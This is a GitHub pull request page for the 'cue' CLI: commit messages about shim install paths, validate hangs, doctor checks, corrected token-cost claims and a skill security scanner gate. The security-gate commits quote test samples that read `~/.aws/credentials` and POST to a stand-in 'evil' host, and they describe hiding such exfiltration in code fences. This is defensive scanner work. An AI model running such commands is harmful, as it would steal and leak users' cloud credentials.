ROI follow-ups + bigger bets: portable shim, validate hang, security gate, doctor D9, SKILL.md rebuild, savings docs, launch tests - #7
Merged
Conversation
`cue shell install` hard-coded an absolute shim path (`exec "~/Documents/cue/bin/cue" launch claude`), which doesn't exist for users who ran `npm install -g cue-ai` (no source clone, CUE_REPO_ROOT unset) — the shim pointed at a missing file and `claude` broke. This undercut the documented install flow for the primary (npm) audience. Add resolveCueInvocation(): prefer the portable bare `cue` when it's on PATH (npm-global / symlinked), else fall back to a quoted absolute path to the cue entrypoint (CUE_REPO_ROOT is exported when cue runs itself; also tries bin/cue.mjs for the npm layout). Both shim writers (runInstall and the user-facing `cue shell install`) now use it, and both forms keep the `launch claude` substring so shimInstalled() still detects them. Removed the dead cueBin computations. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The README "money shot" claimed a ~180k-token baseline, ~$2.70/session, and "22×" — but no command produces those numbers and they were self-contradictory. The real, reproducible figures from `cue cost --compare`: the `full` everything-loadout is ~81k always-on tokens (~$24/100 msgs at Sonnet input pricing), `backend` ~9k (~$2.70), `caveman-quick` ~6.8k (~$2.00). So the honest reduction is ~9× (backend) up to ~16× (leanest), not 22× or "10–25×". Reconciled README (money-shot table, hero stat, JSON-LD, feature bullet), the reduce-token-cost use-case (real numbers table + measurement block — dropped the broken `cue eval --compare full backend`, which reports 0% because eval skips full's `*/*` glob), the two comparison docs, and the cybersecurity/marketing use-case per-message-cost lines. Every claim now cites `cue cost --compare` so a reader can reproduce it. (eval's glob bug is left as a separate follow-up to avoid churning eval test fixtures.) Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
`cue validate --all` did one network `npx skills add` spawn per npx skill (~2000+ across all profiles), serially, with no cache (the fetch wrote into a throwaway temp repo) and no timeout — a multi-minute-to-hours hang. The launch hot path already avoids this (passes npxOffline:true); validate never got the same treatment. - validate is now offline by default: uncached npx skills are reported as a neutral "N not cached (offline; run --online to fetch)" check instead of an E3 error or a network fetch. `cue validate --all` drops from a >60s hang to ~5s. `--online` (alias --no-offline) opts back into the real fetchability check; an explicit CUE_OFFLINE=1 still wins. - resolveOneNpxSkill returns "resolved" | "skipped-offline"; only real errors (PinNotFound, schema, missing MCP/local skill) stay E3. - Defense-in-depth: npxFetch's spawnSync now has a 45s timeout (CUE_NPX_TIMEOUT_MS) + SIGKILL, so one wedged npx can't hang a run. Verified: real profile errors (29 pre-existing E3: missing private MCPs, unresolved env placeholder) are unchanged vs the CUE_OFFLINE=1 baseline. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
cue shipped a skill security scanner (scanSkill, 7 SEC rules) but NOTHING called it on the paths that bring remote code onto the machine. Worse, its category suppressions (isGlobalPack / isSecuritySkill, both derived from the skill's own self-declared frontmatter/path) disabled exactly the critical rules SEC1-5 for skills in ~/.claude/skills — where discover installs remote gems — so even a naive scan would have been a no-op. - Export scanSkill + SecurityIssue; add a `trustGlobalPack` option. Default (true) preserves `cue security`'s behavior. The gate passes false, which turns OFF every self-declared-category suppression and runs the full SEC1-7 ruleset (only per-line safe-context skips remain). - Add gateFreshSkill(): scans untrusted, blocks on critical SEC1-3 (secret/data exfiltration, prompt injection), `allowUnsafe` overrides. - Wire it into `cue discover install` (blocks registration to a profile; --allow-unsafe to override) and `cue init`'s gem wizard (flags + skips CLI auto-install for a critical skill). Orthogonal to the week1 --yes CLI-install gate. Verified: a global-pack skill with `cat ~/.aws/credentials` + `curl -X POST https://evil…` is suppressed (0 criticals) by the default path but caught (SEC1+SEC2, blocked) by the gate; --allow-unsafe overrides. `cue security` output is unchanged. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
When `claude` doesn't pick up a profile, users run `cue doctor` — but it
only checked profile-internal drift (D1-D8); nothing verified that the
activation layer (the shim) is actually wired up. Add a D9 ACTIVATION
group:
- the ~/.local/bin/claude shim is installed and is a cue shim (gating
error; reuses shell.shimInstalled, which matches both shim formats),
- the real claude binary resolves (warning if only the shim is found),
- ~/.local/bin precedes the real binary on PATH (error if shadowed).
D9 is environment-scoped: it runs once in run() (not per profile, which
would duplicate it). `--fix` calls shell.runInstall to install/repair the
shim; a PATH-ordering problem can't be auto-fixed (user must reorder their
shell PATH), so the fix message says so. checkActivation takes injectable
{homeDir, pathDirs, realBin} for hermetic tests. e2e scenario 04 still
passes (it asserts non-zero exit + drift naming, not issue count).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Two adjacent gaps left the "claude won't start" lines untested: - the launch exec handoff (childEnv assembly, runtimeDir mapping, the recursion guard) was only exercised up to --rematerialize, and - install.sh / the shim it writes ran in zero CI jobs despite every new user depending on it. Added (new files, additive so they don't collide with the concurrent edits to launch.e2e.test.ts): - launch-handoff.e2e.test.ts: `cue launch <agent> --dry-run` asserts CLAUDE_CONFIG_DIR→runtime/<profile>/claude (CODEX_HOME for codex), command/passthrough assembly, and a CUE_LAUNCHING=1 → exit-2 recursion-guard probe (spawned directly, since the shared helper strips CUE_LAUNCHING). - install-sh.e2e.test.ts: runs install.sh into a throwaway SHIM_DIR (with a stub authmux on PATH so Step 5 never does `npm install -g`), asserts the cue symlink + a working `exec cue launch claude` shim, and that `cue --version` through the shim matches package.json. - ci.yml: a `test`-job step running install.sh into a throwaway prefix on a clean image (same stub-authmux trick). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
isRuntimeStale only compared profile.yaml's mtime to .cue-hash, so editing a skill's SKILL.md (frontmatter or body) never invalidated the runtime — "edit skill → relaunch → nothing changed", a confusing gap in the tool's core iteration loop. Extend the predicate to also fire when any resolved SKILL.md is newer than .cue-hash. The materialized runtime already symlinks each resolved skill (skills/<slug> → source dir), so lstat'ing skills/<slug>/SKILL.md resolves through to the real source mtime — automatically scoped to the agent and to conditional/subset pruning, with no profile object needed in scope. No change to computeHash or the caller (launch already deletes .cue-hash and reuses the rebuild path, fail-open). Per-entry try/catch: a broken symlink (deleted source) is skipped, not fatal. Hot path: one readdir + N metadata lstats (N<~60) per launch, dwarfed by materialize's existing fs work. NOTE: runtime-materializer.ts is under concurrent edit elsewhere — expect a merge conflict in this function. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…h (review) Adversarial review found the security gate, as first written, was porous: - BYPASS via doc-context skips: the per-line "safe context" skips (fenced code blocks, "verify/check…secret" lines, benign keywords like "never") let an attacker hide the SAME exfiltration in a ``` fence and walk past the gate. Those skips now apply ONLY in trusted mode; the gate (trustGlobalPack:false) scans every line (still skipping the bare ``` delimiter), trading false positives for no bypass (--allow-unsafe + the skill is left on disk for review). - FAIL-OPEN when no SKILL.md is found: gateFreshSkill now returns a `scanned` flag; discover/init warn "no SKILL.md found — review manually" instead of silently passing a skill that was never scanned. - UNGATED PRIMARY PATH: `cue skills add` (the most-documented install) did npx-fetch + register-to-profile with no scan. It now runs the gate over freshly-installed skills, dropping critical ones from the set it registers (--allow-unsafe to override; flag stripped before forwarding to npx). Verified: a fenced `grep api_key ~/.aws/credentials` + `curl -X POST https://evil…` is now caught (SEC1+SEC2, blocked); `cue security` output is unchanged. Known remaining gaps (follow-up): `cue marketplace install-skill` and `cue upgrade --apply` also fetch+register and are not yet gated. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The reduce-token-cost doc's "Short answer" lede still carried the discredited $2.70-as-baseline, $0.12/$0.08 per-session figures, and a "22–33×" claim (en-dash, so it dodged the earlier grep) — directly contradicting the body that was already reconciled. Rewrote it to the real `cue cost --compare` numbers (~81k/$24 baseline → ~9k/$2.70 backend, ~9×). Also dropped the broken `cue eval --compare a b` from the README "Measure" block (eval understates savings due to the unfixed `*/*` glob bug). Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
…ests)
- doctor D9: shim-missing is now a WARNING, not an error, so `cue doctor`'s
exit code tracks actual profile breakage rather than flipping to 1 for
users who simply haven't run `cue shell install`.
- resolver-npx: sanitize CUE_NPX_TIMEOUT_MS — a non-numeric or empty value
(Number("")===0 would DISABLE the spawn timeout) now falls back to 45s.
- shell.resolveCueInvocation: require an EXECUTABLE FILE named `cue` on PATH
(was name-existence-only — a directory or non-executable `cue` wrongly
returned the bare token); prefer bin/cue.mjs (npm layout) in the fallback.
- install-sh.e2e: gate to CI only — it does `bun install` against the repo,
which would mutate the dev tree / hit the network locally.
- runtime-materializer test: add a real-symlink case so the SKILL.md
staleness check is tested against the production symlinked layout.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
The lede/table were reconciled to ~9–16×, but the "What NOT to do" body still cited "25× savings" — the final inconsistent multiplier in the file. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
NagyVikt
pushed a commit
that referenced
this pull request
Jun 2, 2026
Resolves 6 conflicts so PR #6 (week-1 ROI fixes) merges cleanly onto a main that has since advanced (absorbed PR #7). Resolution intent: keep main's newer state, preserve the PR's unique fixes. - package.json: PR's `cue shell install` guidance + main's cuecards URL - README.md: main (10–25× tagline, cuecards URL) - ci.yml: keep BOTH the install.sh smoke-test (PR) and bundled-CLI boot (main); take main's lint job (adds biome, --skipLibCheck) - index.ts: combine update-check guards — PR's launch-safety (launch/quick/playground, CUE_LAUNCHING, CI, stdin TTY) + main's trivial-args + stdout TTY (superset) - shell.ts: keep `cueInvoke = resolveCueInvocation()` (used by the shims) - ai-score.e2e: main's skipIf(!BUN_SPAWNABLE) guard + body-consistent "matches python" name Verified on the merged tree: typecheck clean, ai-score.e2e 13/13. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jun 6, 2026
…estart (#42) Adds `cue summon [profile]`: resolves a profile (explicit or auto-detected), lists its skills as readable SKILL.md paths + persona for inline soft-load, pins .cue-profile, and prints the warm re-exec (claude --continue) for the MCP / slash-command tail. Pure summon(opts) core + CLI wrapper. - src/commands/summon.ts (+ test): resolution, mcp_status vs active session, pin-clobber guard (pin_previous), --json/--no-pin/--pick/--dry-run. - auto-detect.ts: vercel.json/.vercel + @vercel dep -> vercel profile. - _index.ts/index.ts: register the command + help row. - launch.ts: first-time (no .cue-profile) marker points at summon. Skill meta/profile-summon ships separately via opencue/skills PR #7. Core built-in registration deferred (core/profile.yaml is a shared dirty file). Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt
added a commit
that referenced
this pull request
Jun 8, 2026
* chore: bump mcps + skills gitlinks for eu-funding workstream resources/mcps -> 0945bd0 (ted-eu + apify-ted-eu MCP configs; recodeee/mcps). resources/skills -> d182db1 (eu-funding/gx-agents/focus/portless skills + career de-symlink; opencue/skills PR #6). Submodule commits live on agent branches; gitlinks resolve against them. * fix(ci): bump skills submodule gitlink to resolve missing skills Parent gitlink pointed at b7a7130, which predates meta/next-steps, meta/ralph-loop, and tools/context7 — all referenced by core's profile. Profiles e2e (macos + ubuntu) failed the resolver dry-run with E3 SKILL_NOT_FOUND. Bump to 3372160 (skills origin/main), which contains all three. Verified locally with bash test/e2e/run.sh (exit 0). * ci(profiles): watch resources/skills + resources/mcps gitlinks Profiles CI's path filter excluded the submodules, so a gitlink bump that changes which skills resolve was never tested — which is how the b7a7130 lag (missing next-steps/ralph-loop/context7) reached main red. Watch both submodule pointers on PRs and pushes to catch this class. * feat(summon): cue summon — bind a profile into the live session, no restart Adds `cue summon [profile]`: resolves a profile (explicit or auto-detected), lists its skills as readable SKILL.md paths + persona for inline soft-load, pins .cue-profile, and prints the warm re-exec (claude --continue) for the MCP / slash-command tail. Pure summon(opts) core + CLI wrapper. - src/commands/summon.ts (+ test): resolution, mcp_status vs active session, pin-clobber guard (pin_previous), --json/--no-pin/--pick/--dry-run. - auto-detect.ts: vercel.json/.vercel + @vercel dep -> vercel profile. - _index.ts/index.ts: register the command + help row. - launch.ts: first-time (no .cue-profile) marker points at summon. Skill meta/profile-summon ships separately via opencue/skills PR #7. Core built-in registration deferred (core/profile.yaml is a shared dirty file). * chore(skills): bump gitlink to include meta/profile-summon opencue/skills 3372160 -> 4938f47 (PR #7 merged). Clean fast-forward; the only delta is the new meta/profile-summon skill (+212 lines). Pairs with the cue summon command in a946367. * Reduce default cue context overhead (#44) Constraint: keep first-run default on core and move bootstrap detail out of always-read AGENTS.md. Tested: bun run typecheck; bun test src/lib/cwd-resolver.test.ts. Not-tested: broad lint has pre-existing unused-variable warnings; broader summon test is environment-sensitive because lightpanda is available on this machine. Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> * feat(core): pin subagents to Sonnet + add model-selection guidance profile.env only feeds MCP placeholder substitution and never reached the claude process, so cost knobs declared there were silent no-ops. buildClaudeSettings now surfaces an allowlisted subset of profile.env into settings.json's env block (Claude Code injects that into the session). core sets CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6, fanning out to all inheriting profiles so Task/Agent subagents (code-reviewer, Explore, file-read/grep) run on Sonnet — ~50-60% cheaper than Opus. The allowlist is deliberate: profile.env also holds secret refs like ${AWS_SECRET_ACCESS_KEY}. Adds an advisory "Model selection" persona block (Sonnet default, Opus for planning/architecture, steer via /model) since the main session model can't be switched automatically. Verified: settings.env carries the model, persona block reaches the generated CLAUDE.md, secret placeholders filtered. 37/37 materializer tests pass; the settings.json env + CLAUDE_CODE_SUBAGENT_MODEL contract confirmed against Claude Code v2.1.168 docs. * test(core): guard CLAUDE_CODE_SUBAGENT_MODEL=claude-sonnet-4-6 in core Regression guard so a future core edit can't silently drop the subagent cost knob — it fans out to all 72 inheriting profiles and is the one automatic Opus→Sonnet lever. Loads the real core profile (no fixture) and asserts the env value buildClaudeSettings surfaces into settings.json. * feat(profiles): add google/skills to all Google profiles Wires the full official Google Cloud skill library (30 skills from github.com/google/skills) into google-ads, google-analytics, google-drive, and webshop-google via a single repo: google/skills npx block. Covers: gcloud, gemini-api, gemini-agents-api, gemini-interactions-api, bigquery-basics, firebase-basics, cloud-run-basics, cloud-sql-basics, gke-basics, alloydb-basics, agent-platform-* (8 skills), google-cloud-waf-* (5 skills), networking-observability, and both google-cloud-recipe skills. * fix(profiles): remove redundant google/skills from webshop-google webshop-google bundles google-ads and google-analytics, which already carry the google/skills npx block. Loading it a third time directly would triple-load 30 skills on materialization. --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com>
NagyVikt
pushed a commit
that referenced
this pull request
Jul 15, 2026
facebook-ads-mcp registration landed via opencue/mcps #7; the gitlink now targets a main commit instead of the feature branch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jul 25, 2026
…aces) (#101) * docs: spec for multi-client Google + Facebook Ads layer (MCPs + CLI via workspaces) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs: implementation plan for multi-client ads layer Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): shared client resolver + secrets scaffolding Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(ads-cli): untrack pycache, add scoped gitignore Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): ads-gen-yaml gaarf config generator Generate <slug>.google-ads.yaml from <slug>-adc.json with developer token, client credentials, and optional login customer ID. Appended 5 tests to verify YAML generation, token inclusion, and error handling. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): fail cleanly when --login-customer-id lacks a value Guard against IndexError when --login-customer-id is the last argument; now prints the standard "error: ..." message instead of a raw traceback. Adds a regression test (pass=11 fail=0). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): gads (gaarf wrapper) and fbads (Graph API) CLIs Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): clean errors for trailing --method and network failures Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(mcps): facebook-ads-mcp token wrapper + mcps gitlink bump (558b207) The gomarble facebook-ads MCP server is cloned at ~/.config/cue/mcp-servers/facebook-ads (pinned 1a9406e); the wrapper reads the Meta system-user token at exec time so it never lands in a config. Submodule branch: recodeee/mcps feat/facebook-ads-mcp. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(profiles): wire facebook-ads-mcp + two-platform client workspaces Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(ads-cli): setup runbook + symlink/gaarf install notes Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): reject bare fbads params; scope workspace claim to google-ads profile Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore: repoint resources/mcps gitlink to merged main (ff6898e7) facebook-ads-mcp registration landed via opencue/mcps #7; the gitlink now targets a main commit instead of the feature branch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jul 26, 2026
* docs: spec for multi-client Google + Facebook Ads layer (MCPs + CLI via workspaces) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs: implementation plan for multi-client ads layer Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): shared client resolver + secrets scaffolding Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(ads-cli): untrack pycache, add scoped gitignore Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): ads-gen-yaml gaarf config generator Generate <slug>.google-ads.yaml from <slug>-adc.json with developer token, client credentials, and optional login customer ID. Appended 5 tests to verify YAML generation, token inclusion, and error handling. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): fail cleanly when --login-customer-id lacks a value Guard against IndexError when --login-customer-id is the last argument; now prints the standard "error: ..." message instead of a raw traceback. Adds a regression test (pass=11 fail=0). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): gads (gaarf wrapper) and fbads (Graph API) CLIs Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): clean errors for trailing --method and network failures Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(mcps): facebook-ads-mcp token wrapper + mcps gitlink bump (558b207) The gomarble facebook-ads MCP server is cloned at ~/.config/cue/mcp-servers/facebook-ads (pinned 1a9406e); the wrapper reads the Meta system-user token at exec time so it never lands in a config. Submodule branch: recodeee/mcps feat/facebook-ads-mcp. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(profiles): wire facebook-ads-mcp + two-platform client workspaces Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(ads-cli): setup runbook + symlink/gaarf install notes Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): reject bare fbads params; scope workspace claim to google-ads profile Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore: repoint resources/mcps gitlink to merged main (ff6898e7) facebook-ads-mcp registration landed via opencue/mcps #7; the gitlink now targets a main commit instead of the feature branch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(shell): spec for cue-owned shim dir `cue shell install` writes its shim to ~/.local/bin/<agent>, which the native Claude installer owns. On a native-install machine that path is often the only claude on PATH, so install overwrites the real binary with no backup and findRealClaudeBin() is then left with nothing to exec. Design moves the shim to ~/.config/cue/shims/ at the front of PATH, so cue and the native installer stop contending for one path and the shim survives Claude auto-updates. Also covers the unwired `shell uninstall` subcommand and the vacuous PATH-order guard. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: spec for adoption — one pitch, one command, one install path Positions cue as a scoper, defines two canonical strings and the eight surfaces they land on, adds `cue setup` as the single install command, and packages the existing plugin behind a repo-root marketplace.json so `/plugin marketplace add opencue/cuecards` works at all. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: implementation plan for adoption positioning + plugin packaging 12 tasks in three gated phases: canonical copy (pins both strings with a drift test), `cue setup` as a registry alias plus the cost proof moved ahead of the shim ask, and the repo-root marketplace manifest that makes `/plugin marketplace add` work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: agent-paste install becomes the primary path Adds Task 10 (setup/agent-prompt.md, the canonical copy-pasteable prompt) and reworks the README task to lead with it. A test pins the README copy to the canonical file so the two cannot drift. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(shell): move agent shims to a cue-owned dir, stop clobbering the real claude `cue shell install` wrote its shim to ~/.local/bin/<agent>. The native Claude Code installer owns that path — it's a symlink to ~/.local/share/claude/versions/<v>, and on a native install it is often the only claude on PATH. Installing therefore overwrote the real binary with no backup, after which findRealAgentBin() correctly identified the sole candidate as a cue shim, skipped it, and returned null: cue had nothing left to exec. The PATH-order guard that should have caught this compared against a hardcoded /usr/bin/claude, so it passed vacuously. Shims now live in <configDir>/shims, which cue owns outright and which goes at the front of PATH. cue and the installer stop contending for one path, uninstall becomes a plain delete with nothing to restore, and a Claude auto-update rewrites only the real binary — the shim survives and the next launch picks up the new version. - new src/lib/shim-dir.ts: pure path/string math for the layout, the rc snippet per shell, and PATH position. Shared by installer and resolver. - runInstall resolves real binaries and passes a refuse-if-none gate BEFORE writing, then writes, then removes legacy shims. A failed run can no longer leave fewer working entry points than it started with. - PATH setup: fish gets a new conf.d drop-in (reversible by deleting one file, so no prompt); bash/zsh are asked before an rc is appended. --yes skips the prompt, --no-rc prints the line and writes nothing. - `cue shell uninstall` is wired into run() — it was documented, exported and tested, but never reachable. It never touches ~/.local/bin. - findRealAgentBin skips the shim dir outright and shares the content test with the installer. The old inline /cue\s+launch/i missed the quoted-absolute-path shim form, so a source-clone user's shim was returned as the real binary and cue recursed into itself. - doctor D9 gains an "installed but the dir is not on PATH" error, a real state now that the shims sit somewhere nothing else exports. - install.sh and get.sh carried the same bug. get.sh overwrote the native symlink unconditionally on the curl|sh path; install.sh treated any symlink as "already routes through cue" and silently no-opped. Verified against a pristine HEAD worktree: failing test set byte-identical (11 pre-existing, 0 new). Sandboxed installs confirm the native symlink survives install and uninstall, legacy shims migrate, and a machine with no real agent binary is refused with nothing written. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs(positioning): canonical claim + descriptor, pinned by test * feat(picker): suggestion-first card + unified stack palette The picker opened on a 93-row list and then asked a second question on a second screen ("combine with?"). Three complaints: the list is too long, the combine screen is confusing, and neither explains itself. v2 opens on an answer instead. A card shows the best stack for this directory with the reasons behind it ("90% match - Cargo.toml"), its resource cost, and one obvious key. Everything else - editing, searching, browsing all 93 - lands in ONE palette where the primary and its companions live in the same list, typing fuzzy-filters (so "rc" finds rust-core), and a sticky footer always shows the stack being built. The separate "Pin to this directory?" confirm folds into the card as `p`. The signals were already collected, they just never assembled into an answer. `lib/stack-suggest` fuses cwd detection, combo history, cwd-scoped recents, featured picks and pair affinity into ranked, conflict-free, launchable stacks - plus new workspace path rules (medusa-shops/<shop>, websites/, wordpress, ros2, n8n, terraform, prose-only dirs). It is pure and always answers: with no signal it offers Default and says so. picker.ts does not grow: shared pieces move to lib/picker/{types,selector, render-util,tally,categories} and lib/profile-conflicts, all re-exported from lib/picker so existing imports keep resolving. The classic two-screen flow stays intact behind CUE_PICKER=classic. Tests: 65 new (ranking + fallback chain + path rules, card/palette frames, fuzzy scoring, and live key handling driven through mock streams). The existing 98-test picker suite stays green as the classic regression net. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * fix(plugin): move manifest to .claude-plugin/, add discovery metadata * feat(launch): CUE_ALWAYS_PICK — offer the profile picker on a bare launch A bare `claude` silently resolves through .cue.profile → repo-defaults → default-profile and launches whatever it lands on. That is right for a pinned repo, but leaves no way to *choose* at launch short of remembering `--cue-pick` every time. CUE_ALWAYS_PICK=1 makes the picker the default for a bare interactive launch. The resolved profile still sorts to the top (sortProfileOptions already pins it there), so Enter reproduces the old behavior — the cost is one keystroke, the gain is the choice. Two guards: - an explicit --cue-profile opts out; naming a profile IS the choice - TTY only. Without this, a non-interactive `claude -p "…"` would resolve to "none" and die on "no profile resolved and stdin is not a TTY" instead of using its pin. That would break every scripted launch. Verified in a pty: with the flag the picker opens and waits; without it the same command dry-runs straight through to `core`. Non-TTY and --cue-profile paths both still resolve without prompting. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * feat(plugin): repo-root marketplace.json so /plugin marketplace add works * feat(resolve): on-demand skill resolution across the whole library A profile materializes a fixed skill set at launch. When a task needed one of the other ~450 library skills, four things failed at once, all from the same root: cue had a static materialization step and a bag of heuristics, but no skill-resolution layer. recall the suggest hook only fired when a prompt token was literally a skill NAME or CATEGORY, so "a fizetés nem megy az adminban" never reached the matcher fidelity a soft load is `Read SKILL.md`; the skill's MCPs don't come with it and nothing said so promotion resolving the same skill in the same repo ten times left no trace noticing the reactive path rested on one soft persona rule Three tiers, ordered by cost, sharing one index: Tier 1 smart-loader-suggest.sh — bash, every prompt, 100-152ms measured Tier 2 cue resolve — full scoring, fidelity diff, journal Tier 3 cue resolve --deep — LLM pass over near-misses, cached, opt-in catalog-index.ts derives an enriched index.json from catalog.json, reusing the parsers that already exist rather than reimplementing capability inference in awk: triggers go 122 -> 353 of 452 (mined from description prose), capability 0 -> 448, plus anti-scope as a NEGATIVE score and each skill's MCP deps. The index is the contract between all three tiers — bash reads the flat .idx files with the weights already baked in, so a weight lives in exactly one place. Resolution only ever SUGGESTS. It never injects a skill body, never edits a profile, never writes a loadout — it prints the command that would. The promotion counter reads a local journal (modeled on combo-history: no telemetry gate, since declining telemetry means declining to SEND data, not to remember your own directory) and prints `cue loadout keep` after three resolutions in the same cwd. Also fixes parseClaudeKeep in skill-subset: buildPrompt renders a NUMBERED list, and the classifier answers `KEEP: 1, 3, 10, 12`. Only literal ids were accepted, so every number was filtered out and classification failed open to "kept all skills" — indistinguishable from the classifier being unavailable. This backs `cue launch`'s smart-subset too, where the failure was invisible. Verified: Tier 1 surfaces stripe/* and eu-funding/* from Hungarian prompts carrying no skill name; Tier 3 live returns "4/25 skills kept"; with no reachable claude binary --deep reports unavailable and returns Tier 2 results. 56 new tests, full suite 1727 pass / 0 fail, tsc clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: NagyVikt <nagy.viktordp@gmail.com> Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
NagyVikt
added a commit
that referenced
this pull request
Jul 26, 2026
* docs: spec for multi-client Google + Facebook Ads layer (MCPs + CLI via workspaces) Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs: implementation plan for multi-client ads layer Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): shared client resolver + secrets scaffolding Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore(ads-cli): untrack pycache, add scoped gitignore Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): ads-gen-yaml gaarf config generator Generate <slug>.google-ads.yaml from <slug>-adc.json with developer token, client credentials, and optional login customer ID. Appended 5 tests to verify YAML generation, token inclusion, and error handling. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): fail cleanly when --login-customer-id lacks a value Guard against IndexError when --login-customer-id is the last argument; now prints the standard "error: ..." message instead of a raw traceback. Adds a regression test (pass=11 fail=0). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(ads-cli): gads (gaarf wrapper) and fbads (Graph API) CLIs Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): clean errors for trailing --method and network failures Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(mcps): facebook-ads-mcp token wrapper + mcps gitlink bump (558b207) The gomarble facebook-ads MCP server is cloned at ~/.config/cue/mcp-servers/facebook-ads (pinned 1a9406e); the wrapper reads the Meta system-user token at exec time so it never lands in a config. Submodule branch: recodeee/mcps feat/facebook-ads-mcp. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * feat(profiles): wire facebook-ads-mcp + two-platform client workspaces Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(ads-cli): setup runbook + symlink/gaarf install notes Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix(ads-cli): reject bare fbads params; scope workspace claim to google-ads profile Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * chore: repoint resources/mcps gitlink to merged main (ff6898e7) facebook-ads-mcp registration landed via opencue/mcps #7; the gitlink now targets a main commit instead of the feature branch. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * docs(shell): spec for cue-owned shim dir `cue shell install` writes its shim to ~/.local/bin/<agent>, which the native Claude installer owns. On a native-install machine that path is often the only claude on PATH, so install overwrites the real binary with no backup and findRealClaudeBin() is then left with nothing to exec. Design moves the shim to ~/.config/cue/shims/ at the front of PATH, so cue and the native installer stop contending for one path and the shim survives Claude auto-updates. Also covers the unwired `shell uninstall` subcommand and the vacuous PATH-order guard. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: spec for adoption — one pitch, one command, one install path Positions cue as a scoper, defines two canonical strings and the eight surfaces they land on, adds `cue setup` as the single install command, and packages the existing plugin behind a repo-root marketplace.json so `/plugin marketplace add opencue/cuecards` works at all. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: implementation plan for adoption positioning + plugin packaging 12 tasks in three gated phases: canonical copy (pins both strings with a drift test), `cue setup` as a registry alias plus the cost proof moved ahead of the shim ask, and the repo-root marketplace manifest that makes `/plugin marketplace add` work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * docs: agent-paste install becomes the primary path Adds Task 10 (setup/agent-prompt.md, the canonical copy-pasteable prompt) and reworks the README task to lead with it. A test pins the README copy to the canonical file so the two cannot drift. 